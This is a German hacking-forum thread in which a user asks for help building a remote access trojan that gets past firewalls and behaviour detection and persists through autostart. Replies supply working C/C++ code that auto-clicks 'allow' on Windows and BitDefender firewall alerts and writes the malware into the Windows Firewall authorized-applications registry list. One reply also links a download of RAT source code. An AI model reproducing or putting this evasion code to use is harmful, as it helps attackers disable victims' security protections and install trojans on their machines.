Lain (21.04.2013)
Thema: RAT Programmierung
-
20.04.2013, 16:13 #1
- Registriert seit
- 19.04.2013
- Beiträge
- 1
Thanked 0 Times in 0 PostsRAT Programmierung
Hi Leute,
ich dachte mir ich programmiere mal ein kleines RAT, der Netzwerkcode sowie die normalen Trojanerfunktionen (scree capture, down/upload von Dateien usw.) sind ja kein Problem, aber beim firewall bypass oder dem umgehen der Verhaltenserkennung wird es schon schwieriger.
Vielleicht hat jemand den Quelltext von alten Trojanern (möglichst einfache aber mit den unten genannten Funktionen) hier, so das man mal nachsehen kann wie die das machen (wenn ich über Google danach suche lande ich immer nur in alten Threads wo die hochgeladenen Dateien nicht mehr da sind). Einer in VB wäre schön aber C/C++ ist auch OK.
Hilfreich wären auch Hinweise nach welchen Begriffen man da am besten googelt mit z.B. firewall bypass komme ich nicht weit.
Mein Problem ist das die Verhaltenserkennnung der Firewall merkt wenn sich das Programm ins Userverzeichnis kopiert und dort startet, sowie wenn es sich in den Autostart schreibt und natürlich das die TCP Verbindung die es aufbauen will blockiert wird.
-
21.04.2013, 12:42 #2
AW: RAT Programmierung
pwnat - NAT to NAT client-server communication
Alternativ könntest du auch einfach über die WinAPI die Meldungen der Firewall manipulieren.
Mit .NET brauchst du da nicht anfangen, mit VB erst recht nicht.
Beispiel:
////////////////////////////////
// Firewall By Pass //
////////////////////////////////
#include "includes.h"
#include "functions.h"
#include "externs.h"
#ifndef NO_BYPASS
DWORD WINAPI BypassThread(LPVOID)
{
while(1)
{
HWND wnd = 0;
if( (wnd = fFindWindow(0, "Windows Security Alert")) )
{
// Click the "allow" button.
fSendMessage(wnd, WM_COMMAND, MAKEWORD(104,BN_CLICKED ), 0);
// wait for the window to close
while( fIsWindow(wnd) ) Sleep(50);
break;
}
else if( (wnd = fFindWindow(0, "BitDefender Firewall Alert")) )
{
// Click the "remember" button (Doesn't work right now)
fSendMessage(wnd, WM_COMMAND, MAKEWORD(13133, BN_CLICKED ), 0);
// Click the okay button
fSendMessage(wnd, WM_COMMAND, MAKEWORD(IDOK,BN_CLICKED ), 0);
// Wait for the window to close
while( fIsWindow(wnd) ) Sleep(50);
break;
}
Sleep(30); // Don't use 100% CPU
}
return 0;
}
#endif
Für die Windows Firewall
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#include <string>
using namespace std;
void AddException(string path)
{
HKEY hk;
DWORD dw;
string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";
RegCreateKeyExA(
HKEY_LOCAL_MACHINE,
"SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_WRITE,
NULL,
&hk,
&dw
);
RegSetValueExA(
hk,
path.c_str(),
0,
REG_SZ,
(BYTE*)skey.c_str(),
(DWORD)skey.length()
);
RegCloseKey(hk);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char *CmdLineA, *Location;
CmdLineA = GetCommandLineA();
Location = CmdLineA + 1;
Location[strlen(Location)-2] = 0;
AddException(Location);
}
Der Nachteil ist halt dass du dir für jedes verbreitete AV einen Handler schreiben musst.
Zitat von helpster.de
-
21.04.2013, 13:31 #3
AW: RAT Programmierung
Zitat von ThunderStorm
-
21.04.2013, 14:23 #4
AW: RAT Programmierung
Echelon RAT 0.4 von Krusty. Geschrieben in VB.NET:
Anhang 3594
http://www.xup.in/dl,40448112/ecln_0.4.rar/
-
The Following User Says Thank You to iToxic For This Useful Post:
-
21.04.2013, 15:31 #5
AW: RAT Programmierung
Ist irgendwie kaputt:
! C:\Downloads\ECLN_0.4.RAR: Der Dateikopf von "" ist zerstört.
! C:\Downloads\ECLN_0.4.RAR: Unerwartetes Archivende.
Zitat von helpster.de
-
21.04.2013, 16:03 #6
AW: RAT Programmierung
Aber klar doch
ECLN_0.4.RAR
Ähnliche Themen
-
.NET Windows Phone Programmierung
Von exception im Forum .NetAntworten: 5Letzter Beitrag: 29.09.2013, 06:55 -
[S] Grundlagen für Programmierung
Von Runix im Forum OffTopicAntworten: 2Letzter Beitrag: 23.03.2012, 07:10 -
[HELP] Knuddels Bot Client Programmierung
Von Bielefelder1989 im Forum Knuddels ProgrammierungAntworten: 9Letzter Beitrag: 07.03.2011, 17:53
Diese Seite nutzt Cookies, um das Nutzererlebnis zu verbessern. Klicken Sie hier, um das Cookie-Tracking zu deaktivieren.